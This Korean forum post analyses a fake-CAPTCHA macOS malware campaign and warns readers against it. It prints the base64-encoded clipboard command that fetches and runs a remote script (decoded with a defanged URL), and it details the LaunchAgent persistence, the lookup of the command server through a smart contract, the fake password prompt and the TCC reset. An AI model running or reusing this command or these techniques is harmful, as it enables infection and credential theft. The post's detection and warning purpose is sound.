
해외 제조사 홈페이지를 방문했다가 흔한 캡챠를 만났습니다.
그런데 클릭했더니 위와 같은 내용이 나왔습니다. 흠좀무.
클립보드에 복사된 내용은
bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9zb3MtZGUtZnJhLTEuZXhvLmlvL2dpdGh1Yi1hcHAvdXBkYXRlLnNoJyB8IGJhc2g=" | base64 -d)
디코딩 해보면 curl -s 'hxxps://sos-de-fra-1[.]exo[.]io/github-app/update.sh' | bash 이런 내용입니다.
배포지는 Exoscale 오브젝트 스토리지입니다. 정상 클라우드 서비스의 버킷을 빌려 쓰는 방식이라 도메인만으로는 판별되지 않습니다. 경로에 github-app을 넣어 개발 도구 업데이트처럼 보이게 했습니다.
가짜 캡차가 base64로 감싼 curl … | bash를 클립보드에 넣고, 사용자가 직접 터미널에서 실행하게 만듭니다. 사용자가 손으로 실행하므로 Gatekeeper와 공증(notarization) 검사를 거치지 않습니다.
실행하면
~/Library/LaunchAgents/com.ntpebadwvugmokrc.plist
RunAtLoad = true # 로그인할 때마다 실행
KeepAlive = true # 종료되면 자동 재시작
이어서 launchctl load로 즉시 기동합니다. 프로세스를 강제 종료해도 다시 살아납니다.
이 상주 코드는 명령서버 주소를 내장하지 않습니다. Polygon 메인넷 스마트컨트랙트를 eth_call로 읽어 문자열을 받아옵니다.
공개 RPC 4곳(drpc.org, publicnode.com, tatum.io, tenderly)을 차례로 시도해 하나만 응답하면 됩니다. 반환된 ABI 인코딩 값에서 길이와 본문을 잘라 hex 디코딩하면 도메인 문자열이 나옵니다. 조회 시점 기준 값은 nsi8kw1r[.]lol이었습니다.
확보한 주소로 캠페인 식별자를 실어 POST를 보내면 32,934바이트 AppleScript가 돌아옵니다. 1·2단계와 같은 방식으로 난독화되어 있으며, 문자열을 character id 연결로 쪼개 정적 검색을 피합니다.
저렇게 내려받은 소스를 실행하면 하드웨어 UUID를 읽고
"System Preferences" 제목의 창을 띄웁니다. 문구는 다음과 같습니다.
To run the application you need to change the settings
for its operation.
Please enter password for continue:
입력값은 dscl . authonly로 실제 계정 비밀번호가 맞는지 검증합니다. 틀리면 창을 다시 띄우며, 맞을 때까지 무한 반복합니다. 검증에 성공하면 평문 그대로 ~/.passphrase에 기록합니다. 비밀번호가 설정돼 있지 않은 계정이면 같은 파일에 nopassphrase를 씁니다.
서버 등록이 처음 성공하면 tccutil reset All을 실행합니다. 카메라, 마이크, 화면 기록, 전체 디스크 접근 등 TCC가 관리하는 모든 허용 기록이 지워집니다. 이후 권한 요청 창이 떠도 사용자가 설정 초기화의 여파로 받아들이게 만드는 효과가 있습니다.
이후 UUID, 계정명, 캠페인 식별자를 실어 60초마다 명령서버에 작업을 물어봅니다. 이후 그 응답에 따라 동작하는것 같습니다.
이 모든 실행은 nohup … &로 백그라운드에 넘겨 터미널 창을 닫아도 유지됩니다. openshell이 열려 있는 이상 이후 동작은 서버가 정하며, 초기 스크립트만으로는 최종 피해 범위를 특정할 수 없습니다.
붙여넣기 한 번으로 상주 권한, 로그인 비밀번호, 원격 셸이 한꺼번에 넘어가는겁니다.
웹 페이지가 터미널을 열라고 하면 그 시점에서 무조건 창을 닫으세요. 캡차, 브라우저 업데이트, 문서 뷰어 설치, 회의 참가 오류 등 명분은 계속 바뀌지만 마지막 단계는 항상 같습니다.
클립보드에 복사된 명령을 붙여넣게 하는 것입니다.
혹시! 이미 비슷한 행동을 하신적이 있다면
ls -la ~/Library/LaunchAgents/com.ntpebadwvugmokrc.plist ~/.passphrase ~/.txid ~/Library/ntpebadwvugmokrc
launchctl list | grep ntpebadwvugmokrc
이 두개를 돌려보세요. 뭐가 나오는지.
두개 돌려서 뭐라도 나오면 로그인 비밀번호가 평문으로 저장·전송된 상태로 간주해야 합니다.
파일 삭제와 LaunchAgent 해제만으로는 openshell로 추가 설치된 것을 확인할 수 없으므로, 초기화하는 편이 확실합니다.
요즘 바이브코딩이다 ai다 해서 인터넷이 주는 링크를 아무검증없이 터미널에 붙여넣는 경우가 많은데 이런 점들을 노리는 놈들이 나타난겁니다.
악성코드였던 캡차팝업
https://www.clien.net/service/board/park/19258172?po=0&sk=id&sv=lilipa&groupCd=&pt=0CLIEN
침투소스는 확실하지 않아서 좀 찜찜하긴 합니ㅏ.